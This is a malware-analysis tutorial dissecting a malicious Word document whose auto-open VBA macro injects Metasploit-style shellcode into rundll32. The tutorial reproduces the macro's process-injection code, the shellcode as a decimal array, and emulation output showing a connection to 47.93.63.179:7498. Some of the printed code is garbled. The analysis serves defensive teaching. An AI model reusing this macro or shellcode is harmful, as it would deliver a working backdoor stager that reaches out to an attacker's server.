Malicious Document Analysis (MDA): Example 2

by Alexandre Borges date: JAN/14/2021 - revision: A.1

1. Introduction

This article is a short analysis of a **malicious document** and destinated to help professionals who are beginners in threat analysis area. Furthermore, the second purpose is providing a quite short reading for readers to use it as reference in similar cases in their daily job while I'm still writing the second article (and much more complex, by far) of the **Malware Analysis Series (MAS)**.

The setup of my environment follows:

- **REMnux:** https://docs.remnux.org/install-distro/get-virtual-appliance
- Didier Stevens Suite: https://blog.didierstevens.com/didier-stevens-suite/
- Malwoverview: https://github.com/alexandreborges/malwoverview

All tools mentioned above are usually installed on **REMnux** by default. However, if you are using Ubuntu or any other Linux distribution, so you can install them through links and command above.

The hash of sample used during this analysis is:

(SHA 256): 070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55

Before proceeding, if you want to read a previous article about malicious document analysis, so this article is available on: https://exploitreversing.files.wordpress.com/2021/11/mda 1-2.pdf.

2. Gathering information

First step in this article is to download the sample and, in this case, we're doing it from Malware Bazaar:

remnux@remnux:~/malware/mda\$ malwoverview.py -b 5 -B
 070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55 -o 0

After downloading the zip package, unpack it using 7z (the usual password is "infected"):

7z e 070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55.zip

To attend editing issues of this article I renamed the malicious file to mda_2.

Next step is to collect basic threat information on the sample from **Triage sandbox** by using **Malwoverview**:

```
remnux@remnux:~/malware/mda$ file mda 2
mda_2: Microsoft Word 2007+
remnux@remnux:~/malware/mda$
remnux@remnux:~/malware/mda$ malwoverview.py -x 1 -X 070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55 -o 0
                                       TRIAGE OVERVIEW REPORT
          220105-r3lbpaagag
status:
          reported
kind:
          file
filename: 070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55
submitted: 2022-01-05T14:43:06Z
completed: 2022-01-05T14:45:49Z
         2022-01-05T14:43:06.265507Z
next:
remnux@remnux:~/malware/mda$
remnux@remnux:~/malware/mda$ malwoverview.py -x 2 -X 220105-r3lbpaagaq -o 0
                                        TRIAGE SEARCH REPORT
extracted:
                     http://47.93.63.179:7498/ta08
           family:
                     metasploit
           rule:
                     Metasploit
           dumped:
                     memory/936-857-0x00000000000000-mapping.dmp
           resource: behavioral1/memory/936-857-0x000000000000000-mapping.dmp
                     behavioral1 behavioral2
           tasks:
          220105-r3lbpaagaq
id:
          070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55
target:
size:
          24777
md5:
          528264e5e1dc298e49ead0e429569cc7
          e621a05288ec315e3b0b9566798a028341f497b8
sha1:
sha256:
          070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55
completed: 2022-01-05T14:45:49Z
signatures:
          MetaSploit
          Process spawned unexpected child process
          Blocklisted process makes network request
          Suspicious Office macro
          Drops file in Windows directory
          Office loads VBA resources, possible macro or embedded object present
           Checks processor information in registry
          Enumerates system info in registry
          Modifies Internet Explorer settings
          Modifies registry class
          Suspicious behavior: AddClipboardFormatListener
          Suspicious use of SetWindowsHookEx
          Suspicious use of WriteProcessMemory
targets:
          family:
                    metasploit
          iocs:
                     time.windows.com
                     47.93.63.179
                     8.8.8.8
                     168.61.215.74
          md5:
                     528264e5e1dc298e49ead0e429569cc7
          score:
                     10
                     e621a05288ec315e3b0b9566798a028341f497b8
           shal:
          sha256:
                     070281b8c1a72893182928c21bf7241a0ad8c95879969d5f58e28d08f1a73b55
                     24777bytes
          size:
          tags:
                     family:metasploit
                     backdoor
                     trojan
```

[Figure 1]

Few relevant facts about this maldoc:

It's a Microsoft Word 2007+, so it's a zip container.

- It communicates to a specific IP address and port: 47.93.63.179:7498.
- Its family is Metasploit.
- The maldoc apparently performs **code injection**.
- Maybe the sample dumps a file into the Windows directory.
- There is a embedded macro in the maldoc.

3. Analysis

Starting our analysis, let's check the content of the sample by executing the following command:

```
remnux@remnux:~/malware/mda$ zipdump.py mda_2
                                    Encrypted Timestamp
Index Filename
   1 [Content_Types].xml
                                            0 1980-01-01 00:00:00
   2 rels/.rels
                                            0 1980-01-01 00:00:00
   3 word/ rels/document.xml.rels
                                            0 1980-01-01 00:00:00
   4 word/document.xml
                                            0 1980-01-01 00:00:00
   5 word/vbaProject.bin
                                            0 1980-01-01 00:00:00
   6 word/_rels/vbaProject.bin.rels
                                           0 1980-01-01 00:00:00
   7 word/theme/theme1.xml
                                            0 1980-01-01 00:00:00
   8 word/vbaData.xml
                                            0 1980-01-01 00:00:00
   9 word/settings.xml
                                            0 1980-01-01 00:00:00
  10 docProps/app.xml
                                            0 1980-01-01 00:00:00
  11 word/styles.xml
                                            0 1980-01-01 00:00:00
  12 docProps/core.xml
                                            0 1980-01-01 00:00:00
  13 word/fontTable.xml
                                            0 1980-01-01 00:00:00
  14 word/webSettings.xml
                                           0 1980-01-01 00:00:00
```

[Figure 2]

The **object 5** (**word/vbaProject.bin**) sounds interesting, so we can check it by executing the next commands:

```
remnux@remnux:~/malware/mda$ zipdump.py mda_2 -s 5 -d | file -
/dev/stdin: Composite Document File V2 Document, Cannot read section info
remnux@remnux:~/malware/mda$
remnux@remnux:~/malware/mda$ zipdump.py mda 2 -s 5 -d | oledump.py
          418 'PROJECT'
 1:
 2:
           71 'PROJECTwm'
 3: M
        13951 'VBA/NewMacros'
         1188 'VBA/ThisDocument'
 4: m
          3780 'VBA/_VBA_PROJECT'
 5:
          2458 'VBA/__SRP_0'
 6:
 7:
          833 'VBA/__SRP_1'
          344 'VBA/ SRP 2'
 8:
          106 'VBA/ SRP 3'
 9:
          295 'VBA/__SRP_4'
10:
          874 'VBA/__SRP_5'
11:
          527 'VBA/dir'
12:
```

[Figure 3]

The **object 3** is a **macro** and the biggest object in the **OLE file**. Remember a **macro is stored in a compressed form**, so it's necessary to **uncompressing** it before being able to read its content. Therefore, run the following command (the output is quite long, unfortunately):

https://exploitreversing.com

```
emnux@remnux:~/malware/mda$ zipdump.py mda_2 -s 5 -d | oledump.py -s 3 -v
Attribute VB Name = "NewMacros
Private Type PROCESS_INFORMATION
    hProcess As Long
     hThread As Long
     dwProcessId As Long
     dwThreadId As Long
Private Type STARTUPINFO
     cb As Long
     lpReserved As String
     lpDesktop As String
     lpTitle As String
     dwX As Long
     dwY As Long
     dwXSize As Long
     dwYSize As Long
     dwXCountChars As Long
     dwYCountChars As Long
     dwFillAttribute As Long
     dwFlags As Long
     wShowWindow As Integer
cbReserved2 As Integer
     lpReserved2 As Long
     hStdInput As Long
     hStdOutput As Long
     hStdError As Long
End Type
#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As
Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Lon
aPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize
 As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef
Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, By
Val dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long
ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
     Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As
Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, l
pProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Sub Auto Open()
    Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
     Dim sInfo As STARTUPINFO
     Dim sNull As String
     Dim sProc As String
#If VBA7 Then
     Dim rwxpage As LongPtr, res As LongPtr
#Else
     Dim rwxpage As Long, res As Long
#End If
     myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 3
8, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1,
104, 45, 6, 24, 125, -1, -45, -125, -04, 15, -124, -01, 1, 0, 0, 45, -1, -125, -10, 110, 4, -115, -7, -21, 9, 104, -30, -35, -30, 95, -1, -45, -119, -63, 104, 69, 33, 94, 49, -1, -2, -10, 104, -73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, -117, -1, _ -1, -1, 47, 116, 97, 79, 56, 0, -21, 16, 49, -71, -117, 51, 127, -117, -33, 54, 31, -69, -19, 48, 21, -37, -56, -107, -59, 23, -88, -63, 0, -104
-3, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 52, 46, 48, 32, 40, 99, 111, 109, 112, 97, 11 6, 105, 98, 108, 101, 59, 32, 77,
83, 73, 69, 32, 55, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 48, 41, 13, 10, 0, 62, 73, 5, 8, -70, 26, -68, 95,
117, -58, -111, -107, 21, _ 47, -40, -43, 89, 118, 112, -18, 17, 116, -104, 95, 44, -45, -100, -125, 106, 75, -7, -57, 92, -90, -44, -128, -53, 22, -20, 101, 119, -65, -69,
-67, 29, 90, 118, 66, 24, 20, -60, 86, -86, -

-69, 89, 56, 15, 74, 78, 113, 44, 73, -16, -52, -119, 13, 5, -24, -71, -64, 127, -79, -61, -126, -53, -105, -7, 76, -108, -60, -75, 41, -101, -6

1, -14, -10, 65, 120, -70, -117, -120, 55, -110, _

51, 94, -73, -52, 82, -66, 10, -103, -105, -92, 32, -44, 8, -88, 126, 14, 75, -29, -72, -19, -87, 5, -61, 7, -109, -41, 23, -91, -116, 41, 24, -84, -47, 6, -99, 110, -117, 78, -47, 1, _
```

https://exploitreversing.com

```
-112, -55, 29, 110, 32, 30, -83, 107, -101, 65, 111, -73, 113, -100, 64, -117, -103, -117, -30, 73, 102, 66, 76, -3, -51, 56, -66, -33, -73, -2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -10
104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, _
-123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 52, 55, 46, 57, 51, 46, 54, 51, 46, 49, 55, 57, 0, 18,
   52. 86. 120)
            If Len(Environ("ProgramW6432")) > 0 Then
                       sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
                        sProc = Environ("windir") & "\\System32\\rundll32.exe"
            res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
            rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
           For offset = LBound(myArray) To UBound(myArray)
  myByte = myArray(offset)
                       res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
              res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
            Auto_Open
 End Sub
Sub Workbook_Open()
            Auto_Open
End Sub
```

[Figure 4]

Although it's a long code, we can take some conclusions:

- The code really seems to be a kind of **Cobalt Strike / Metasploit generated code**.
- Calls to CreateRemoteThread(), VirtualAllocEx() and WriteProcessMemory() confirm the code injection behavior.
- There's a long array of decimal numbers, which is probably a kind of code such as PE executable or shellcode to be injected.

We can try to manage this sample using static analysis where it's possible, write a short Python code and even using emulation.

Therefore, how can we proceed? Taking Python 3 as reference, one of many possible approach would be:

- Dumping the code into a file.
- Understanding the VBA code, mainly where there's a array manipulation.
- Removing anything associated to VBA.
- Writing a Python code mimicking the VBA code.

If you want, you can dump the code to use it as base for your script:

remnux@remnux:~/malware/mda\$ zipdump.py mda_2 -s 5 -d | oledump.py -s 3 -v > dump1

The macro's code sounds difficult, but it's quite easy. The main piece of code, which we have to write a Python-like code, is the following one:

```
For offset = LBound(myArray) To UBound(myArray)
   myByte = myArray(offset)
   res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
```

[Figure 5]

It's trivial code because it only reads the decimal number from the array and makes an code injection using this code, so writing a Python script is so quick:

```
remnux@remnux:~/malware/mda$ cat script_mda_1.py
import struct
myList = [-4,-24,-119,0,0,0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 11
4, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, 13, 1, -57, -30, -16, 82, 87
, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, -42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -
117, 4, -117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93
, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, -43, 49, -1, 87, 87, 87, 87,
87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, 74, 29, 0,
0, 83, 80, 104, 87, -119, -97, -58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 64, -124, 82, 82, 82, 83
, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45,
 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104,
86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73
, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0,
-24, -117, -1, -1, -1, 47, 116, 97, 79, 56, 0, -21, 16, 49, -71, -117, 51, 127, -117, -33, 54, 31, -69, -19,
48, 21, -37, -56, -107, -59, 23, -88, -63, 0, -104, -116, -51, -104, 65, -48, -118, -80, 62, 123, -103, -51, -124, -11, -27, 50, 17, -77, -115, 98, 29, 106, -71, -108, 35, 99, -94, 70, 89, -41, 14, -9, 114, -126, -1
01, -95, -16, -75, 44, 28, 59, -70, 123, -27, 55, 63, -86, 8, 66, -3, 0, 85, 115, 101, 114, 45, 65, 103, 101
, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 52, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105
, 98, 108, 101, 59, 32, 77, 83, 73, 69, 32, 55, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84
, 32, 54, 46, 48, 41, 13, 10, 0, 62, 73, 5, 8, -70, 26, -68, 95, 117, -58, -111, -107, 21, 47, -40, -43, 89,
118, 112, -18, 17, 116, -104, 95, 44, -45, -100, -125, 106, 75, -7, -57, 92, -90, -44, -128, -53, 22, -20,
101, 119, -65, -69, -87, 29, 90, 118, 66, 24, 20, -60, 86, -86, -69, 89, 56, 15, 74, 78, 113, 44, 73, -16,
52, -119, 13, 5, -24, -71, -64, 127, -79, -61, -126, -53, -105, -7, 76, -108, -60, -75, 41, -101, -61, -14,
-10, 65, 120, -70, -117, -120, 55, -110, 51, 94, -73, -52, 82, -66, 10, -103, -105, -92, 32, -44, 8, -88, 12
6, 14, 75, -29, -72, -19, -87, 5, -61, 7, -109, -41, 23, -91, -116, 41, 24, -84, -47, 6, -99, 110, -117, 78,
-47, 1, -112, -55, 29, 110, 32, 30, -83, 107, -101, 65, 111, -73, 113, -100, 64, -117, -103, -117, -30, 73, 102, 66, 76, -3, -51, 56, -66, -33, -73, -2, -5, -116, 17, 71, 75, 39, 61, 69, -44, 48, 5, -28, 108, -42, -
58, -116, -5, 112, 42, -91, -69, 30, -90, 46, -20, -50, -18, -37, -54, -125, -27, 90, 30, 106, 62, -73, -88,
102, -113, 105, 116, 96, -101, 73, -9, -15, -8, 20, -125, -63, -7, 15, -124, 49, 6, -61, -87, 24, -84, 72,
-113, 38, 32, 0, -30, 5, 124, 52, 18, -99, 46, 11, 56, -9, -14, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64,
104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81,
83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, -58, -117, 7
, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 52, 55, 46, 57, 51, 46, 54, 51, 46, 49, 55, 57
, 0, 18, 52, 86, 120]
shell_code = open("shellcode.bin","wb")
for i in myList:
    shell_code.write(struct.pack('b',i))
shell_code.close()
```

[Figure 6]

About the quite simple piece of code above:

- I converted the VBA array into a Python list.
- I created a binary file named "shellcode.bin" and wrote all read bytes from the list into it.

A short explanation about the usage of struct.pack in this case: the **struct.pack()** is converting each item from decimal to byte format (**\xAB** notation) before writing it into the file, so we should check the size and file type of the generated shellcode.bin:

remnux@remnux:~/malware/mda\$ file shellcode.bin shellcode.bin: data

remnux@remnux:~/malware/mda\$ **Is -Ih shellcode.bin** -rw-rw-r-- 1 remnux remnux 797 Jan 13 22:26 shellcode.bin

In fact, it's a really small code and, likely, it isn't an PE executable. Checking its content we have:

```
remnux@remnux:~/malware/mda$ hexdump -C shellcode.bin | head -15
00000000 fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b
                                                        |.....`..1.d.R0.|
00000010 52 0c 8b 52 14 8b 72 28
                                0f b7 4a 26 31 ff 31 c0
                                                        |R..R..r(..J&1.1.|
00000020 ac 3c 61 7c 02 2c 20 cl cf 0d 01 c7 e2 f0 52 57
                                                        |.<a|., .....RW|
00000030 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01
                                                        |.R..B<...@x..tJ.|
00000040 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b
                                                        |.P.H..X ...<I.4.|
|..1.1....8.u.|
00000060  03 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b
                                                        |.}.;}$u.X.X$..f.|
00000070 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24
                                                        |.K.X.....D$$|
00000080 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d
                                                        |[[aYZQ..X Z....]|
00000090 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07
                                                        |hnet.hwiniThLw&.|
000000a0 ff d5 31 ff 57 57 57 57
                                57 68 3a 56 79 a7 ff d5
                                                        |..1.WWWWh:Vy...|
000000b0 e9 84 00 00 00 5b 31 c9 51 51 6a 03 51 51 68 4a
                                                        |.....[1.QQj.QQhJ|
000000c0 1d 00 00 53 50 68 57 89 9f c6 ff d5 eb 70 5b 31
                                                        |...SPhW.....p[1|
000000d0 d2 52 68 00 02 40 84 52 52 52 53 52 50 68 eb 55
                                                        |.Rh..@.RRRSRPh.U|
000000e0 2e 3b ff d5 89 c6 83 c3 50 31 ff 57 57 6a ff 53
                                                        |.;.....P1.WWj.S|
remnux@remnux:~/malware/mda$
remnux@remnux:~/malware/mda$ strings -a -n10 shellcode.bin
hwiniThLw&
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
47.93.63.179
```

[Figure 7]

As expected, it isn't a PE executable, but there're meaningful strings, so it's probably is a shellcode, which can be easily emulated by using **scdbg.exe** (http://sandsprite.com/blogs/index.php?uid=7&pid=152):

```
remnux@remnux:~/malware/mda$ wine scdbg.exe -f shellcode.bin
Loaded 31d bytes from file shellcode.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010a2 LoadLibraryA(wininet)
4010b0 InternetOpenA()
4010cc InternetConnectA(server: 47.93.63.179, port: 7498, )
Stepcount 2000001
```

[Figure 8]

That's game over! We've just confirmed information from Triage's report without running the code and only using the **REMnux** system.

I hope this simple and short write-up can help you in your daily job. My contact information follow:

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Keep reversing and I see you at next time!

Alexandre Borges.